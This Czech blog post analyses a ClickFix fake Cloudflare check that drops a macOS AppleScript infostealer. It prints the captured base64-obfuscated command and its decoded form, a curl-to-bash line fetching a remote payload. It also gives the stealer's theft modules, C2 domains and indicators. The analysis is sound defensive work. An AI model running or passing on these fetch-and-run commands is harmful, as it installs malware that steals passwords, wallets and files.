Vojtěch Hron / n00bDebugger
Home/Analýza malware/Analýza falešného Cloudflare ověření a macOS Infostealeru
Analýza malware

Analýza falešného Cloudflare ověření a macOS Infostealeru

V poslední době nabývá na popularitě technika sociálního inženýrství označovaná jako ClickFix. Útočník vytvoří falešnou ověřovací stránku napodobující CAPTCHA nebo Cloudflare ochranu, která uživatele vyzve ke spuštění příkazu přímo v jeho systému – na Windows prostřednictvím dialogu Win + R, na macOS otevřením Terminalu přes ⌘ + Mezerník.

Pokud uživatel pokyn splní, dojde zpravidla ke kompromitaci systému malwarem.


Při jednom z běžných sezení na iPadu jsem narazil na stránku zobrazující ověřovací okno vizuálně totožné s legitimní Cloudflare výzvou:

cloudflare-window

Po interakci s oknem mě stránka vyzvala k provedení následujících kroků:

  1. Stisknutí ⌘ + Mezerník pro otevření Spotlightu
  2. Zadání Terminal a potvrzení klávesou Enter
  3. Vložení a spuštění příkazu zobrazeného na stránce

Příkaz jsem rozpoznal jako potenciálně škodlivý, uložil jsem ho k analýze a nespustil.


Analýza příkazu

Zachycený příkaz měl následující podobu:

echo "Y3VybCAtc0wgIiQoZWNobyAnYUhSMGNITTZMeTl0Wld0dmFXeHpkV2hoY25WdExtTnZiUzlqYkM5cGJtUmxlQzV3YUhBPScgfCBiYXNlNjQgLWQpIiB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash

Příkaz dekóduje řetězec zakódovaný v Base64 a výsledek předá interpretu bash. Dekódováním první vrstvy získáme:

curl -sL "$(echo 'aHR0cHM6Ly9tZWtvaWxzdWhhcnVtLmNvbS9jbC9pbmRleC5waHA=' | base64 -d)" | nohup bash &

Jedná se o další vrstvu Base64 – tentokrát zakódovanou URL. Příkaz stáhne vzdálený skript pomocí curl -sL a spustí ho na pozadí prostřednictvím nohup bash &. Po dekódování druhé vrstvy obdržíme finální payload URL:

curl -sL https://mekoilsuharum.com/cl/index.php | nohup bash &

Aby bylo možné payload analyzovat bez rizika infekce, upravil jsem příkaz tak, aby skript pouze stáhl bez spuštění:

curl -sL https://mekoilsuharum.com/cl/index.php > payload.applescript

Analýza payloadu

Stažený soubor se ukázal být plnohodnotným infostealerem napsaným v AppleScript, zaměřeným na macOS systémy. Skript jsem nahrál na VirusTotal – výsledky analýzy zde.

Moduly

1. Sběr dat z prohlížečů

  • Krade cookies, přihlašovací údaje, historii formulářů a databáze hesel z Chromium-based prohlížečů (Chrome, Brave, Edge, Vivaldi, Opera, Arc aj.) a z prohlížečů rodiny Firefox (Firefox, Waterfox).
  • Cílí na více než 200 ID rozšíření prohlížečů, primárně krypto peněženky – MetaMask, Phantom, Coinbase Wallet a další.

2. Krádež kryptoměnových peněženek

  • Desktop wallets: Electrum, Exodus, Atomic, Ledger Live, Coinomi, Wasabi, Monero, Bitcoin Core a další.
  • Prohlížečové peněženky: prostřednictvím IndexedDB a Local Extension Settings.

3. Exfiltrace souborů

  • Prohledává složky Desktop a Documents a cílí na přípony .txt, .pdf, .docx, .wallet, .key, .keys, .kdbx.
  • Krade databázi Apple Notes (NoteStore.sqlite) včetně mediálních příloh.
  • Krade Safari cookies a macOS Keychain (login.keychain-db).

4. Získání systémového hesla

  • Pokud je účet bez hesla, pokusí se extrahovat Chrome encryption key prostřednictvím utility security.
  • Pokud účet heslem chráněn je, zobrazí falešný systémový dialog s názvem „macOS Protection Service" a opakovaně vyzývá uživatele k zadání hesla. Správnost ověřuje pomocí dscl authonly.

5. Exfiltrace dat

  • Sebraná data komprimuje nástrojem ditto do archivu /tmp/alego.zip.
  • Archiv odesílá HTTP POST requestem na C2 server.
  • Po úspěšném odeslání maže všechny dočasné soubory a stopy po činnosti.

6. Update mechanismus (zakomentováno)

  • Skript obsahuje funkci toast(), která je schopná stáhnout a nahradit libovolnou aplikaci v /Applications/. Pravděpodobně slouží k perzistenci nebo trojaniizaci legitimního softwaru. V analyzované verzi je tato funkce deaktivována.

Síťová infrastruktura

DoménaÚčel
mekoilsuharum.com/cl/index.phpDistribuční server – hostuje payload
api.uterimoxis.com/api/data/receiveC2 server – příjem exfiltrovaných dat (POST)
api.uterimoxis.com/api/healthC2 server – heartbeat endpoint
gamma.api.uterimoxis.comDropper/update endpoint (zakomentováno)

Každý request na C2 obsahuje hlavičku X-Bid: f48fbe39836779cadbf148b5952919fd, která slouží jako identifikátor kampaně nebo bota.


Taktiky, techniky a postupy (TTPs)

Následující techniky odpovídají klasifikaci MITRE ATT&CK:

IDNázevPopis
T1555.001Credentials from Password Stores: KeychainExtrakce hesel z macOS Keychain
T1539Steal Web Session CookieKrádež session cookies z prohlížečů
T1528Steal Application Access TokenKrádež tokenů krypto peněženek
T1056.002Input Capture: GUI Input CaptureFalešný systémový dialog pro získání hesla
T1041Exfiltration Over C2 ChannelOdesílání dat přes HTTP na C2 server
T1560Archive Collected DataKomprimace dat před exfiltrací

Indikátory kompromitace (IOCs)

Soubory a cesty:

  • /tmp/alego.zip
  • /tmp/stravy/
  • ~/.pwd
  • ~/.username

Síť:

  • uterimoxis.com
  • mekoilsuharum.com

Procesy / chování:

  • AppleScript dialog s názvem „macOS Protection Service" žádající o systémové heslo

Závěr

Tato kampaň kombinuje sociální inženýrství (ClickFix), vícenásobné Base64 kódování pro obfuskaci a sofistikovaný AppleScript infostealer. Výsledkem je útok, který je pro běžného uživatele těžko rozpoznatelný a který v případě úspěchu poskytuje útočníkovi kompletní přístup k prohlížečovým datům, krypto peněženkám, souborům i systémovému heslu.

Pokud se vám zobrazí výzva ke spuštění příkazu v Terminalu jako součást „ověření", jedná se vždy o útok. Žádná legitimní služba tento postup nevyžaduje.


Poznámka AI jsem při tvorbě tohoto článku využil výhradně pro návrh struktury a konzultační doporučení. Samotný výzkum i obsah jsou výsledkem mé vlastní práce.